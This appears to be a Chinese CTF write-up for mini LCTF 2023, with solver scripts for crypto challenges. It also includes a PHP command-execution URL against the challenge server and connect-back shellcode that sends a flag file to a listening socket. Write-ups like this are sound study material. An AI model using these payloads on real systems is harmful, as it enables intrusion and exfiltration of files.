文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

[mini LCTF 2023] 西电的部分

2023-09-05 09:58

关注

感觉比赛还是很不错,就是有点难了,不过都是简单题重复更没意思。作出一道来就有一点收获。

misc1

签到题也不简单,已经很久不作misc了,感觉这东西需要安的东西太多,怕机子累坏了。

一个复合的wav声音文件,切出来多半个flaSSTV和一个压缩包。声音文件看频谱有密码

 打开还是声音文件 ,用SSTV听得到图片-flag的尾吧

web1

 web也有签到,虽然不研究这个,签个到还行。

打开网页看原代码有shell.php再打开看到原码

$c(),$d,$e);$str2 = substr($class->$c(),$f,$g);$str1($str2);//flag.php?>

想了半天用哪个内置的对象,查了网上有stdClass但这东西没有方法可用,看原码上提到Error想到用Exception这个有内置方法getMessage然后system就行了

http://45.77.145.0:200/shell.php?a=Exception&b=systemcat+fl*|base64&c=getMessage&d=0&e=6&f=6&g=14

得到base64编码的flag.php然后再解码

crypto/curvesigin

 密码这块怎么没签到呢,原来签到在后边。这个题诸多坑。

from Crypto.Util.number import *from secret import flagimport randomflag = flag.strip(b'miniLctf{').strip(b'}')flag1 = bytes_to_long(flag[:len(flag)//2])flag2 = bytes_to_long(flag[len(flag)//2:])q = getPrime(80)a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]def add(P,Q):if P[0] != Q[0] and P[1] != Q[1]:t = ((Q[1]-P[1]) * inverse(Q[0]-P[0],q)) %qelse:t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q    x3 = b*inverse(c,q)*t*t - P[0] - Q[0]y3 = t*(P[0] - x3) - P[1]return (x3%q, y3%q)def mul(t, A, B=0):    if not t: return B    return mul(t//2, add(A,A), B if not t&1 else add(B,A) if B else A)G = (543964449142803087188784, 288605946000947449279542)assert G[0] == flag1Ps = []ms = [random.randrange(1,q-1) for _ in "welcome_to_xxxctf2023"[:4]] + [flag2]for m in ms:    P = mul(m,G)    Ps.append(P)print(f'G = {G}\nPs = {Ps}')'''G = (543964449142803087188784, 288605946000947449279542)Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]'''

就喜欢代码短的,一看就明白,这是个椭圆曲线加密最后后是求私钥,前边没给出方程,但给出斜率。

a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q

这里是第1个坑,斜率用到3个参数,题目也给出3个参数生成方法,其实方程是4个参数

b*y^{2} = c*x^{3} + a*x + d

先把b去掉

y^{2} = a*x^{3} + b*x + c

这里的d没说,因为斜率是求导得到的,常数项被导掉了。然后6个x,y求参数

由于有限域的模没给出,通过6个方程得到k*q

G = (543964449142803087188784, 288605946000947449279542)Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]##1,求qdef fun5(g1,g2,g3,g4,g5,g6):    x1,y1 = g1     x2,y2 = g2     x3,y3 = g3     x4,y4 = g4    x5,y5 = g5     x6,y6 = g6    A1 = (x3 - x4)*(y1**2 - y2**2) - (x1 - x2)*(y3**2 - y4**2)    A2 = (x5 - x6)*(y1**2 - y2**2) - (x1 - x2)*(y5**2 - y6**2)    B1 = (x1**3 - x2**3)*(x3 - x4) - (x3**3 - x4**3)*(x1 - x2)    B2 = (x1**3 - x2**3)*(x5 - x6) - (x5**3 - x6**3)*(x1 - x2)        return A1*B2 - A2*B1v = ([G] + Ps)kq = fun5( *v )kq = 1659781780256202117320982411911907021129251124933071094831730558095985915900469756361610566671381121385960359097740745076076254241750071580595324136001810341690635932

因为已知q是80位,对kq分解可以得到q,不分解据说也行,可以直接用kq作模求参数

#2,对kq分解,找到q '''P1 = 2P1 = 2P1 = 3P1 = 7P2 = 11P4 = 2851P6 = 142619P6 = 341569P9 = 121253203P16 = 1364065646451691P23 = 31026401285225228917603P24 = 878502880971205563250537   <-----80位P79 = 2868949361189169406203504733670610246297691354043115570120121449069654765161971'''#3,求参 两边都有参数,将方程左边的b除掉,看右边q = 878502880971205563250537C1,C2,C3,C4,C5,C6 = v P.=PolynomialRing(Zmod(q))f1 = a*C1[0]^3 + b*C1[0] + c - C1[1]^2 f2 = a*C2[0]^3 + b*C2[0] + c - C2[1]^2 f3 = a*C3[0]^3 + b*C3[0] + c - C3[1]^2 f4 = a*C4[0]^3 + b*C4[0] + c - C4[1]^2 f5 = a*C5[0]^3 + b*C5[0] + c - C5[1]^2 f6 = a*C6[0]^3 + b*C6[0] + c - C6[1]^2 F = [f1,f2,f3,f4,f5,f6]Ideal = Ideal(F)I = Ideal.groebner_basis()print(I)#[a + 662963051503062411245929, b + 405447704422414394053669, c + 189827742241355283851865]a,b,c = -662963051503062411245929%q,-405447704422414394053669%q,-189827742241355283851865%q#a,b,c = (215539829468143152004608, 473055176548791169196868, 688675138729850279398672)

然后这里的第2个坑,这个方程不是标准的椭圆方程形式,x项有参数,先将a取3次方根k,用kx代码x,对x轴进行缩放得到标准方程。

#4,对x轴向缩放,转换成标准方程#4.1 令x = kx ,k^3 = a 求kP. = PolynomialRing(GF(q))  #f = x^3 - a f.roots()#[(430117650226655400246319, 1), (420974725922346296990896, 1), (27410504822203866013322, 1)]k = 27410504822203866013322#y^2 = (kx)^3 + A*kx + B A = b*pow(k,-1,q) B = cx = G[0]*k%qy = G[1]#点G,m*G缩放后放入方程E = EllipticCurve(GF(q), [A, B])P = E(G[0]*k%q,G[1])Q = E(Ps[-1][0]*k%q, Ps[-1][1])

然后这里因为q很小,可以直接求对数,不过出来的结果不正确。问了别人说可能m比order大,这里这rsa有点相似,rsa是加p-1,这里是加order不过这个方程本身多解,order也不是最简的,将order分解,最接近的就是1/2 order,用order/2爆破

#5,求私钥m = discrete_log(Q, P, operation='+') m long_to_bytes(int(m))#6, 估计这个G是曲线某个循环子群的生成元,阶是order的某个因子#E.order() 878502880972065193795276v = E.order()//2for i in range(100):    long_to_bytes(m+i*v)'''b"\x10l\x97+'2\xfe\x82\xa2\n"b'mput3__d1p'miniLctf{s0_3@5y_c0mput3__d1p}'''

crypto/guess

突然后边这个如此简单。

from secret import flagfrom functools import reducefrom Crypto.Util.number import getPrimefrom hashlib import sha256import socketserverimport signalimport string import randomimport gmpy2N_SIZE=52MOD_SIZE=50def dec2blist(decimal, length):    """    Converts an integer to a binary list of a specified length, filling zeros on the left if necessary.    """    bitlist = []    while decimal > 0:        bit = decimal % 2        bitlist.append(bit)        decimal //= 2    bitlist.reverse()    if len(bitlist) < length:        bitlist = [0] * (length - len(bitlist)) + bitlist    return bitlistdef generate_prime_list(listlen:int,q:int):    primes = []    while len(primes) < listlen:        n = random.randint(2, q-1)        if gmpy2.is_prime(n):            primes.append(n)    return primesdef verify(prime_list,key,q,product):    choice=dec2blist(key,len(prime_list))    elements = [prime_list[i] for i in range(len(prime_list)) if choice[i]]    newproduct = reduce((lambda x, y: x * y % q), elements)    return product==newproductdef product_mod_q(prime_list,q):    l=len(prime_list)    elements = random.sample(prime_list,random.randint(l//2,l))  #随机取n个    product = reduce((lambda x, y: x * y % q), elements)    return productclass Task(socketserver.BaseRequestHandler):    def _recvall(self):        BUFF_SIZE = 2048        data = b''        while True:            part = self.request.recv(BUFF_SIZE)            data += part            if len(part) < BUFF_SIZE:                break        return data.strip()    def send(self, msg, newline=True):        try:            if newline:                msg += b'\n'            self.request.sendall(msg)        except:            pass    def recv(self, prompt=b'[-] '):        self.send(prompt, newline=False)        return self._recvall()    def proof_of_work(self):        table = string.ascii_letters+string.digits        proof = (''.join([random.choice(table)for _ in range(20)])).encode()        sha = sha256(proof).hexdigest().encode()        self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha )        XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :')        if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha:            return False        return True    def handle(self):        signal.alarm(233)        self.send(b"Welcome to Gauss Frenzy! You need to complete the Proof of work first!")        proof = self.proof_of_work()        if not proof:            self.request.close()                q=getPrime(MOD_SIZE)   #50        prime_list=generate_prime_list(N_SIZE,q)  #52个

感觉可以秒,但我来得太晚了,看到群里好多人说比赛才来,晚了一天。

题目看上去是个乘法背包问题,不过背包问题这个没有解法。

先后成52个大点的数,然后任选26-52个乘再取模,只要回复用的哪些数就行了,这个规划26以上是不可爆破的,不过反过来看如果用除法,先把所有数都乘一起再去数规模就不大了,这是个随机数,很大可能会非常靠近52,如果是48就可以秒出。所以用程序爆破,等到一个数很大的情况就OK了,由于比赛链接程序不劫持win7,所以虚机下不能作太大,最大爆破到5个数。

from pwn import *from hashlib import sha256from itertools import product from functools import reduceimport string from gmpy2 import invert def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash    table = string.digits + string.ascii_letters    def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash    return util.iters.bruteforce(judge, table,length=4, method = 'fixed')def conn():    p = remote('127.0.0.1', 42837)        #proof     #[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3    p.recvuntil(b"[+] sha256(XXXX+")    tail = p.recvuntil(b') == ', drop=True)    s256 = p.recvline().strip().decode()    print(tail, s256)    head = proof_of_work_2(tail, s256)    p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())    return pdef get_list():    ra = [invert(v,q) for v in a]  #    pro = 1    for v in a:        pro = pro*v%q         queue = {pro:[]}   #{value:[selected],...}    for i in range(5):        tmpque = {}        for v in queue:            for j in range(52):                tv = v*ra[j]%q                 used = queue[v]+[j]                if tv == tag:                    print(v,tv,used,queue[v])                    return used                tmpque[tv]= used        queue = tmpque     return []while True:    p = conn()    #get arg     p.recvuntil(b"Alice have some primes:\n")    a = eval(p.recvline())        p.recvuntil(b"She picks some and multiplies them ,then mod ")    q = int(p.recvuntil(b" ,the product is ", drop=True))    tag = int(p.recvline())    print(f"{a = }\n{q = }\n{tag = }")    ok = get_list()    if ok == []:        print('Too small, I need least 46')        p.close()        continue        nok = int(''.join(['1' if i not in ok else '0' for i in range(52)]),2)    print('product:',nok)    p.sendlineafter(b"[-] key=\n", str(nok).encode())    print(p.recvline())    p.interactive()'''[*] Closed connection to 127.0.0.1 port 42837[+] Opening connection to 127.0.0.1 on port 42837: Doneb'yUsiSbqI3CEkYDHQ' 6f4524747484866eddcc1d604703dcb12c543ec33256401cad151178967a2ebd[+] Bruteforcing: Found key: "SYxS"a = [692499566575429, 134409149748749, 653932750798099, 568575041179157, 417668664450083, 164345418891391, 315948694001401, 823878428502929, 355457066169631, 437549476740659, 574669373467697, 491164490580073, 900552220077271, 431433715245179, 820501600382939, 798872425216751, 284934127998571, 173026900187737, 913424022312407, 457769412178997, 352853959269067, 156247212471079, 728813442004363, 759954178481447, 85237894329787, 235453629681799, 769348518710293, 328880426484053, 113124598931221, 96587581662709, 193038793331903, 712655061930013, 867402730060049, 528836472166031, 256841059695403, 170909563018349, 186848057458607, 172285989871343, 421214319576881, 21590091037003, 784142317402777, 263674901435663, 715076995877687, 772147525631093, 547771349394097, 543719454650789, 7388868411101, 528418675320617, 114136387374553, 785217883772339, 507155426971961, 579007431282431]q = 930809387620663tag = 334916561117582625299989058834 334916561117582 [35, 26, 4, 1, 41] [35, 26, 4, 1]product: 3236962198551551b"Congratulations! Here's the flag for you \n"[*] Switching to interactive modeb'miniL{C0ngr4tu1atio5!U_D0_KnOw_b4ckpacK!!!}''''

crypto/giveway

这个也很长,不过仔细看很简单,生成个大矩阵,然后用 flag乘给出结果,如果矩阵够大的话,直接可解,可问题是不够大。不过两次运行flag不变,所以干两次就够大了。来晚了

from secret import messagefrom functools import reducefrom hashlib import sha256from Crypto.Util.number import bytes_to_longimport socketserverimport signalimport string import randomdef dec2blist(decimal, length):    """    Converts an integer to a binary list of a specified length, filling zeros on the left if necessary.    """    bitlist = []    while decimal > 0:        bit = decimal % 2        bitlist.append(bit)        decimal //= 2    bitlist.reverse()    if len(bitlist) < length:        bitlist = [0] * (length - len(bitlist)) + bitlist    return bitlistdef bake(list1,list2):    return reduce((lambda x,y: x ^ y) , list(map(lambda x, y: x and y, list1, list2)) )def send_a_chocolate(self):    assert len(bin(bytes_to_long(message)))-2==511    dough=bytes_to_long(message)    chocolate_jam=random.getrandbits(512)    cookie=bake(dec2blist(dough, 512), dec2blist(chocolate_jam,512))    self.send(f"[+] The lucky sticker reads ({cookie},{hex(chocolate_jam)}). Yummy!\n".encode())class Task(socketserver.BaseRequestHandler):    def _recvall(self):        BUFF_SIZE = 2048        data = b''        while True:            part = self.request.recv(BUFF_SIZE)            data += part            if len(part) < BUFF_SIZE:                break        return data.strip()    def send(self, msg, newline=True):        try:            if newline:                msg += b'\n'            self.request.sendall(msg)        except:            pass    def recv(self, prompt=b'[-] '):        self.send(prompt, newline=False)        return self._recvall()    def proof_of_work(self):        table = string.ascii_letters+string.digits        proof = (''.join([random.choice(table)for _ in range(20)])).encode()        sha = sha256(proof).hexdigest().encode()        self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha )        XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :')        if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha:            return False        return True    def sendmenu(self,coins):        self.send(f"[+] Welcome to Flag Vending Machine! You have {coins} coins available. \Please press the number to make your choice!\n[1] Buy a chocolate cookie\n[2] Top-up silver coins \n[3] Exit\n".encode())    def handle(self):        signal.alarm(233)        coins=random.randint(503,508)#Well ... Easy mode        self.send(b"Chocolate Fortune Cookie For Sale! You need to complete the Proof of work first!")        proof = self.proof_of_work()        if not proof:            self.request.close()                while(coins):            self.sendmenu(coins)            try:                choice=int(self.recv().decode())            except Exception as e:                self.send(str(e).encode())                continue            if (choice == 1 and coins > 0):                coins -= 1                send_a_chocolate(self)            elif (choice == 2):                self.send(b"[+] Error: The service is currently unavailable, please try again later :(\n")            elif (choice == 3):                self.send(b"[+] Bye!\n")                self.request.close()            else:                self.send(b"[+] Please send 1/2/3 to make your choice!\n")        self.send(b"[+] Looks like you\'re out of coins... See you next time! Good luck!\n")        self.request.close()class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):    passclass ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):    passif __name__ == "__main__":    HOST, PORT = '0.0.0.0', 10007    server = ForkedServer((HOST, PORT), Task)    server.allow_reuse_address = True    print(HOST, PORT)    server.serve_forever()

第1步先取数,虽然有proof但挡不住我取两次。

from pwn import *from hashlib import sha256from itertools import product import string from gmpy2 import invert p = remote('127.0.0.1', 25890)#context.log_level = 'debug'#proof #[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3p.recvuntil(b"[+] sha256(XXXX+")tail = p.recvuntil(b') == ', drop=True)s256 = p.recvline().strip().decode()print(tail, s256)def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash    table = string.digits + string.ascii_letters    def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash    return util.iters.bruteforce(judge, table,length=4, method = 'fixed')head = proof_of_work_2(tail, s256)p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())#get #[+] The lucky sticker reads (0,0x4968e21f1625271295d2137bbfa872cbe94e374e82987a2e76d063f424f695738a86034abba35534911d72b3f5eb31153b62ad291c1f2199c054b21388edd239). Yummy!\nfor i in range(508):    p.sendlineafter(b'[-] ', b'1')    ret = p.recvline()    if ret == b"[+] Please send 1/2/3 to make your choice!\n":        break     coo,jam = eval(ret[28:-9])    print(coo,jam)    

然后矩阵除

data = [..此处略去1000行..]B = matrix(GF(2), 512, 1009)for i in range(len(data)):    v = bin(data[i][1])[2:].rjust(512,'0')    for j in range(512):        B[j,i] = int(v[j],2) C = vector(GF(2), [data[i][0] for i in range(len(data))])A = B.solve_left(C)v = ''.join(['0' if i==0 else '1' for i in A])bytes.fromhex(hex(int(v,2))[2:])#b'miniL{We1c0me_TO_M1niL2o23_Crypt0!} Enjoy the challenges ahead! '

后边几个等wp了。题很好就是会得少。最后1分钟交了个调查问卷终于进前10了。最后一条线,但是大佬的名字都太长了就显示不下小的了

pwn/ez_shellcode

 赛完10分钟,问了一下,终于解决了。

int __cdecl main(int argc, const char **argv, const char **envp){  unsigned int length; // [rsp+4h] [rbp-Ch]  char *oo0Oo; // [rsp+8h] [rbp-8h]  OooO0OOo();  puts("Welcome to MiniL2023!!! Enjoy~");  puts("Well, Let's play a game to warm up!");  oo0Oo = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);  memset(oo0Oo, 144, 0x1000uLL);  length = read(0, ooooo0ooo0o, 0x40uLL);  memcpy(oo0Oo, &unk_20E8, 0x30uLL);  memcpy(oo0Oo + 48, ooooo0ooo0o, length);  if ( o0o0o000o() )    ((void (*)(void))oo0Oo)();  return 0;}int __cdecl o0o0o000o(){  int fd1; // [rsp+8h] [rbp-828h]  int fd2; // [rsp+Ch] [rbp-824h]  char buf2[1024]; // [rsp+20h] [rbp-810h] BYREF  char buf1[1024]; // [rsp+420h] [rbp-410h] BYREF  unsigned __int64 v5; // [rsp+828h] [rbp-8h]  v5 = __readfsqword(0x28u);  puts("I'll make sure flag is ready.");  fd1 = open("flag1", 0);  if ( fd1 >= 0 )  {    if ( read(fd1, buf2, 0x400uLL) > 0 )    {      fd2 = open("flag2", 0);      if ( fd2 >= 0 )      {        if ( read(fd2, buf1, 0x400uLL) > 0 )        {          puts("Well, flag is ready.");          close(fd1);          close(fd1);                           // fd2未关闭          memset(buf1, 0, sizeof(buf1));          memset(buf1, 0, sizeof(buf1));          close_seccomp();          return 1;        }        else        {          puts("flag2 file is empty");          return 0;        }      }      else      {        puts("flag2 file doesn't exit");        return 0;      }    }    else    {      puts("flag1 file is empty");      return 0;    }  }  else  {    puts("flag1 file doesn't exit");    return 0;  }}

题目很明了,先读入shellcode到mmap生成的rwx段,然后去执行。flag文件打开,flag2忘关掉,shellcode最长0x40,之前会关掉input,output,error,把除rip以外的寄存器清0,并仅保留socket,connect,sendfile 三个syscall。显然是socket,connect,sendfile,只是sendfile这块一直没成功。

shellcode分4块

第1块获取地址,代码如果用shellcraft生成会很长,这个都得手工写

lea rsp,[rip]+0x8f9; 

第2块socket,不需要变的全省略

push raxmov rax, 0x0100007f6c1e0002   push raxmov dil,2inc esipush 0x29pop raxsyscall 

第3块connect

xor rdi,rdipush rsppop rsimov dl,0x10mov al, 0x2asyscall 

 第4块sendfile (这里rdx需要指向0,而不是置0,就差这了,一直没成功)

push 4pop rsipush rsppop rdxadd rdx,8push 0x50pop r10mov al,0x28syscall

最后就发送就行了(这些都是本地调试的,真打应该找个有公网IP的机子,整个server收flag)

pay = asm(shellcode).ljust(0x40, b'\x90')p = process('./main')#p = remote('pwn.blackbird.wang', 9550)#gdb.attach(p, "b*0x0000555555555642\nc")#pause()p.sendafter(b'up!\n', pay)p.recvline()p.recvline()pause()

server.py

import sockettcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)address = ('127.0.0.1', 7788)tcp_server_socket.bind(address)tcp_server_socket.listen(128)client_socket, clientAddr = tcp_server_socket.accept()print('connted',clientAddr)recv_data = client_socket.recv(1024)print('接收到的数据为:', recv_data)client_socket.close()

crypto/not_RSA

结束一会就能问到方法,复现一下. 一个刚听说的NovelSystem

题目是一个类似RSA的加密方法,乘幂是通过一对明文来回交叉然后作幂数组加法(重定规则),phi是(p^2+p+1)*(q^2+q+1)而p和q的生成方法是a^2+3*b^2

后来一问,才知道又是下论文题,最早像是出现在2021年的 pbctf上,加密算法有小改动.不过因为这个算法与rsa极其类似,加密用pow(m,e,n)解密用pow(c,d,n)所以加密函数并不用逆,只需要求d即可.

原题

from not_RSA import *from secret import FLAGfrom Crypto.Util.number import *p, q = generate_prime(512), generate_prime(512)n = p * qphi = (p**2 + p + 1) * (q **2 + q + 1)d = getPrime(276)e = inverse(d, phi)tmp = getPrime(469)p0 = p + tmppt1, pt2 = random_padding(FLAG[:len(FLAG)//2]+b'#',127), random_padding(FLAG[len(FLAG)//2:]+b'#', 127)m = (bytes_to_long(pt1), bytes_to_long(pt2))c = special_power(m, e, n)print(f"c = {c}")print(f"n = {n}")print(f"e = {e}")print(f"p0 = {p0}")

加密算法

import randomfrom Crypto.Util.number import *def generate_prime(bit_length):    while True:        a = random.getrandbits(bit_length//2)        b = random.getrandbits(bit_length//2)        if b % 3 == 0:            continue        p = a ** 2 + 3 * b ** 2        if p.bit_length() == bit_length and p % 3 == 1 and isPrime(p):            return pdef point_addition(P, Q, mod):    m, n = P    p, q = Q    if p is None:        return P    if m is None:        return Q    if n is None and q is None:        x = m * p % mod        y = (m + p) % mod        return (x, y)    if n is None and q is not None:        m, n, p, q = p, q, m, n    if q is None:        if (n + p) % mod != 0:            x = (m * p + 2) * inverse(n + p, mod) % mod            y = (m + n * p) * inverse(n + p, mod) % mod            return (x, y)        elif (m - n ** 2) % mod != 0:            x = (m * p + 2) * inverse(m - n ** 2, mod) % mod            return (x, None)        else:            return (None, None)    else:        if (m + p + n * q) % mod != 0:            x = (m * p + (n + q) * 2) * inverse(m + p + n * q, mod) % mod            y = (n * p + m * q + 2) * inverse(m + p + n * q, mod) % mod            return (x, y)        elif (n * p + m * q + 2) % mod != 0:            x = (m * p + (n + q) * 2) * inverse(n * p + m * q + r, mod) % mod            return (x, None)        else:            return (None, None)def special_power(P, a, mod):    res = (None, None)    t = P    while a > 0:        if a & 1:            res = point_addition(res, t, mod)        t = point_addition(t, t, mod)        a >>= 1    return resdef random_padding(message, length):    pad = bytes([random.getrandbits(8) for _ in range(length - len(message))])    return message + pad

论文题,如果没见过解法打死也是想不出来的,毕竟人家是数学家.

先分解n

#---------------------------'''1,素数结构 p = a^2 + 3* b^2 ,p%3 == 12,phi的结构phi = (p^2+p+1)*(q^2+q+1)3,给出N,e,c 论文:https://eprint.iacr.org/2021/1160.pdf '''import time ############################################# Config########################################## """Setting debug to true will display more informationsabout the lattice, the bounds, the vectors..."""debug = True """Setting strict to true will stop the algorithm (andreturn (-1, -1)) if we don't have a correct upperbound on the determinant. Note that this doesn't necesseraly mean that no solutions will be found since the theoretical upperbound isusualy far away from actual results. That is whyyou should probably use `strict = False`"""strict = False """This is experimental, but has provided remarkable resultsso far. It tries to reduce the lattice as much as it canwhile keeping its efficiency. I see no reason not to usethis option, but if things don't work, you should trydisabling it"""helpful_only = Truedimension_min = 7 # stop removing if lattice reaches that dimension ############################################# Functions########################################## # display stats on helpful vectorsdef helpful_vectors(BB, modulus):    nothelpful = 0    for ii in range(BB.dimensions()[0]):        if BB[ii,ii] >= modulus:            nothelpful += 1     print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful") # display matrix picture with 0 and Xdef matrix_overview(BB, bound):    for ii in range(BB.dimensions()[0]):        a = ('%02d ' % ii)        for jj in range(BB.dimensions()[1]):            a += '0' if BB[ii,jj] == 0 else 'X'            if BB.dimensions()[0] < 60:                a += ' '        if BB[ii, ii] >= bound:            a += '~'        print(a) # tries to remove unhelpful vectors# we start at current = n-1 (last vector)def remove_unhelpful(BB, monomials, bound, current):    # end of our recursive function    if current == -1 or BB.dimensions()[0] <= dimension_min:        return BB     # we start by checking from the end    for ii in range(current, -1, -1):        # if it is unhelpful:        if BB[ii, ii] >= bound:            affected_vectors = 0            affected_vector_index = 0            # let's check if it affects other vectors            for jj in range(ii + 1, BB.dimensions()[0]):                # if another vector is affected:                # we increase the count                if BB[jj, ii] != 0:                    affected_vectors += 1                    affected_vector_index = jj             # level:0            # if no other vectors end up affected            # we remove it            if affected_vectors == 0:                print("* removing unhelpful vector", ii)                BB = BB.delete_columns([ii])                BB = BB.delete_rows([ii])                monomials.pop(ii)                BB = remove_unhelpful(BB, monomials, bound, ii-1)                return BB             # level:1            # if just one was affected we check            # if it is affecting someone else            elif affected_vectors == 1:                affected_deeper = True                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):                    # if it is affecting even one vector                    # we give up on this one                    if BB[kk, affected_vector_index] != 0:                        affected_deeper = False                # remove both it if no other vector was affected and                # this helpful vector is not helpful enough                # compared to our unhelpful one                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):                    print("* removing unhelpful vectors", ii, "and", affected_vector_index)                    BB = BB.delete_columns([affected_vector_index, ii])                    BB = BB.delete_rows([affected_vector_index, ii])                    monomials.pop(affected_vector_index)                    monomials.pop(ii)                    BB = remove_unhelpful(BB, monomials, bound, ii-1)                    return BB    # nothing happened    return BB  def attack(N, e, m, t, X, Y):    modulus = e     PR. = PolynomialRing(ZZ)    a = N + 1    b = N * N - N + 1    f = x * (y * y + a * y + b) + 1     gg = []    for k in range(0, m+1):        for i in range(k, m+1):            for j in range(2 * k, 2 * k + 2):                gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))    for k in range(0, m+1):        for i in range(k, k+1):            for j in range(2*k+2, 2*i+t+1):                gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))     def order_gg(idx, gg, monomials):        if idx == len(gg):            return gg, monomials         for i in range(idx, len(gg)):            polynomial = gg[i]            non = []            for monomial in polynomial.monomials():                if monomial not in monomials:                    non.append(monomial)                        if len(non) == 1:                new_gg = gg[:]                new_gg[i], new_gg[idx] = new_gg[idx], new_gg[i]                 return order_gg(idx + 1, new_gg, monomials + non)         gg, monomials = order_gg(0, gg, [])     # construct lattice B    nn = len(monomials)    BB = Matrix(ZZ, nn)    for ii in range(nn):        BB[ii, 0] = gg[ii](0, 0)        for jj in range(1, nn):            if monomials[jj] in gg[ii].monomials():                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](X, Y)     # Prototype to reduce the lattice    if helpful_only:        # automatically remove        BB = remove_unhelpful(BB, monomials, modulus^m, nn-1)        # reset dimension        nn = BB.dimensions()[0]        if nn == 0:            print("failure")            return 0,0     # check if vectors are helpful    if debug:        helpful_vectors(BB, modulus^m)        # check if determinant is correctly bounded    det = BB.det()    bound = modulus^(m*nn)    if det >= bound:        print("We do not have det < bound. Solutions might not be found.")        print("Try with highers m and t.")        if debug:            diff = (log(det) - log(bound)) / log(2)            print("size det(L) - size e^(m*n) = ", floor(diff))        if strict:            return -1, -1    else:        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")     # display the lattice basis    if debug:        matrix_overview(BB, modulus^m)     # LLL    if debug:        print("optimizing basis of the lattice via LLL, this can take a long time")     BB = BB.LLL()     if debug:        print("LLL is done!")     # transform vector i & j -> polynomials 1 & 2    if debug:        print("looking for independent vectors in the lattice")    found_polynomials = False        for pol1_idx in range(nn - 1):        for pol2_idx in range(pol1_idx + 1, nn):            # for i and j, create the two polynomials            PR. = PolynomialRing(ZZ)            pol1 = pol2 = 0            for jj in range(nn):                pol1 += monomials[jj](a,b) * BB[pol1_idx, jj] / monomials[jj](X, Y)                pol2 += monomials[jj](a,b) * BB[pol2_idx, jj] / monomials[jj](X, Y)             # resultant            PR. = PolynomialRing(ZZ)            rr = pol1.resultant(pol2)             # are these good polynomials?            if rr.is_zero() or rr.monomials() == [1]:                continue            else:                print("found them, using vectors", pol1_idx, "and", pol2_idx)                found_polynomials = True                break        if found_polynomials:            break     if not found_polynomials:        print("no independant vectors could be found. This should very rarely happen...")        return 0, 0        rr = rr(q, q)     # solutions    soly = rr.roots()     if len(soly) == 0:        print("Your prediction (delta) is too small")        return 0, 0        soly = soly[0][0]    ss = pol1(q, soly)    solx = ss.roots()[0][0]        return solx, soly def inthroot(a, n):    return a.nth_root(n, truncate_mode=True)[0]N = 103255210447201501371417366314698617128571899104178153644502440939179707560694633551313596814867085426522157527557873368089757491021794381392940645658031944937376477744644393844781470315770893253591718873148298034783254899285894192568113349056391974188706470251298810392910953025658474958447750644663120809161e = 9583844349143763216577056030562049770207021495053166931622586942299664240152962005166123845294740910682002626836306629541171186155613228080333603389256263599077945629292275075204305859845966709343064493385561097725880568307482154382068336740221552489762224156862649726139521041709368241009505934006275050727466118506845275244191749935821428533956123008950814817446865191293160484499980805375127998664220058827288306710393417375308743911041896280674963812278295706552776413678414777273337864851457733395645762523718466931204393235542589232058708808567310860905450262329471814920834990514208969596816366119172152233564X = 1 << 469Y = 2 * inthroot(Integer(2 * N), 2) res = attack(N, e, 4, 2, X, Y)print(res) # gives k and p + q, the rest is easy#(59137369850819406532275717524517585767165464950708158462164450136762195724495413187, 20475741127535118048435692842803317049125018119948443351473506009477900422367314192436495478321956277208904797584417360924744290274238260307774067014335690)b, c = res[1], NDsqrt =  inthroot(Integer(b^2-4*c),2)p, q = (b + Dsqrt) // 2, (b - Dsqrt) // 2assert p * q == N#11486382971898441589289013198690864780869354871041795491785595801633976127714665049779741643398450168581366372073269352216270475337156119910857122881102537,8989358155636676459146679644112452268255663248906647859687910207843924294652649142656753834923506108627538425511148008708473814937082140396916944133233153

攻击求出来的是系数b,c也就是求根公式里的\frac{-b\pm \sqrt{b^{2}-4ac}}{2a}这两个值

这里a==1所以可以直接求出p,q来

后边就是NovelSystem加密,把c,d带进原函数就行.

